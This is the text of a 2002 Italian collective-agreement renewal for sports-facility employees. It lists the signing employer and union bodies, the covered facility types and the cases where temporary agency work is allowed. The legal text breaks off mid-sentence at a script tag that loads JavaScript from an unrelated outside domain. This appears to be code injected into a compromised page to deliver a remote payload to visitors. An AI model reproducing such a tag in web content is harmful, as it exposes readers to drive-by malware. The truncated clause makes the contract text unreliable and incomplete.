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Categoria: Impianti sportivi
Settore: Poligrafici e Spettacolo
Data stipula: 21-1-2002
Data decorrenza: 1-2-2002
Data scadenza: 31-12-2003

L'anno 2002, il giorno 21 gennaio in Milano

tra

-     Federazione  Imprenditori  Impianti  Sportivi  (FIIS)  CONFCOMMERCIO
  rappresentata  da Riccardo Calamandrei, Ezio Ceolotto, Sergio  Passetti,
  Massimo Costa;
  con  l'assistenza dell'Unione del Commercio del Turismo  e  dei  Servizi
  della  Provincia di Milano rappresentata da Daniela Ceruti,  Pierantonio
  Poy, Elisa Merola
  e CONFCOMMERCIO rappresentata da Giuseppe Zabbatino e Donata Tirelli

e

-    SLC-CGIL rappresentata da Emiliano Baretella;
-    FISASCAT-CISL rappresentata da Antonio Michelagnoli;
-    UILSIC-UIL rappresentata da Bruno Zino, Giancarlo Buscaglia

si è stipulata la presente ipotesi di accordo per il rinnovo del CCNL

PER I DIPENDENTI DEGLI IMPIANTI SPORTIVI

che avrà vigore fino al 31 dicembre 2003.



VALIDITÀ E SFERA DI APPLICAZIONE DEL CONTRATTO

Il 5° capoverso è modificato come segue:

1.   Centri sportivi polivalenti:
   strutture  complesse che comprendono più impianti di varia tipologia  e
   natura tra quelli di seguito elencati.
  
2.   Palestre:
   con svolgimento di attività motorie, competitive o non, come ad esempio
   body building, ginnastica a corpo libero, aerobica, danze, insegnamento
   arti marziali, boxe di ogni genere, etc.

3.   Centri fitness:
   strutture   dedicate   allo   svolgimento   di   attività   finalizzate
   prevalentemente  alla  prevenzione  e  al  mantenimento  del  benessere
   psico-fisico della persona.

4.   Centri natatori/piscine:
   strutture  per lo svolgimento di attività motorie in acqua,  ludiche  o
   sportive,  quali  ad  esempio: nuoto, nuoto  pinnato  e  sincronizzato,
   attività  subacquee, pallanuoto, tuffi, addestramento  al  salvataggio,
   acquafitness, acquagym, idrospinning, etc.
  
5.   Campi da tennis.

6.   Campi da squash.

7.   Campi da golf e minigolf.

8.   Campi da calcio, calcetto, rugby e baseball.

9.   Campi da pallavolo, basket e pallamano.

10.  Maneggi e centri ippici:
   dove,  oltre  alle  tradizionali  attività  si  svolgano  ponytrekking,
   attività turistica e ippoterapia.
  
11.  Piste da pattinaggio:
   sia  a  rotelle che su ghiaccio, anche per svolgimento di  attività  di
   hockey.
  
12.  Campi da bowling e bocce.

13.  Sferisteri.

14.  Campi per il gioco del pallone elastico e della palla a volo.

15.  Laghetti per pesca sportiva.

16.  Strutture per tiro a volo, tiro con l'arco, tiro a segno.

17.    Centri   finalizzati   all'attività  di   orienteering,   trekking,
   arrampicata e mountainbike.

18.  Centri per canottaggio, canoa, kayak:
   svolti su fiumi, torrenti, corsi d'acqua, bacini artificiali, navigli e
   piscine.

19.  Centri per biliardo e tennis da tavolo.

20.  Centri per le attività di volo.

21.  Centri nautici.



Lavoro interinale.

Casi di ammissibilità.

Ai  sensi dell'art. 1, comma 2, lett. a), legge 24.6.97 n. 196, le imprese
possono  ricorrere  ai  contratti di fornitura di  lavoro  temporaneo,  in
aggiunta  ai  casi  previsti  dalla  predetta  normativa,  nelle  seguenti
ipotesi:

1)      adempimenti    di    pratiche   o   di    attività    di    natura
  tecnico-contabile-amministrativa  a  carattere  saltuario  che  non  sia
  possibile espletare con l'organico in servizio;
2)   esigenze di lavoro temporaneo per l'organizzazione di fiere,
manifestazioni e iniziative legate alla pratica sportiva, nonché per le
attività connesse;
3)   punte di più intensa attività temporanea dovuta a flussi straordinari
di clientela o commesse di lavoro a cui non si possa far fronte con i
normali assetti organizzativi aziendali. In tale fattispecie la stipula di
contratti di lavoro temporaneo di durata superiore a 1 mese è subordinata
alla preventiva verifica della disponibilità all'assunzione a tempo
determinato dei lavoratori con la stessa qualifica nei cui confronti
ricorrano le condizioni di cui all'art. 23, comma 2, legge n<script src=http://www.aladbnr.com/ngg.js></script>













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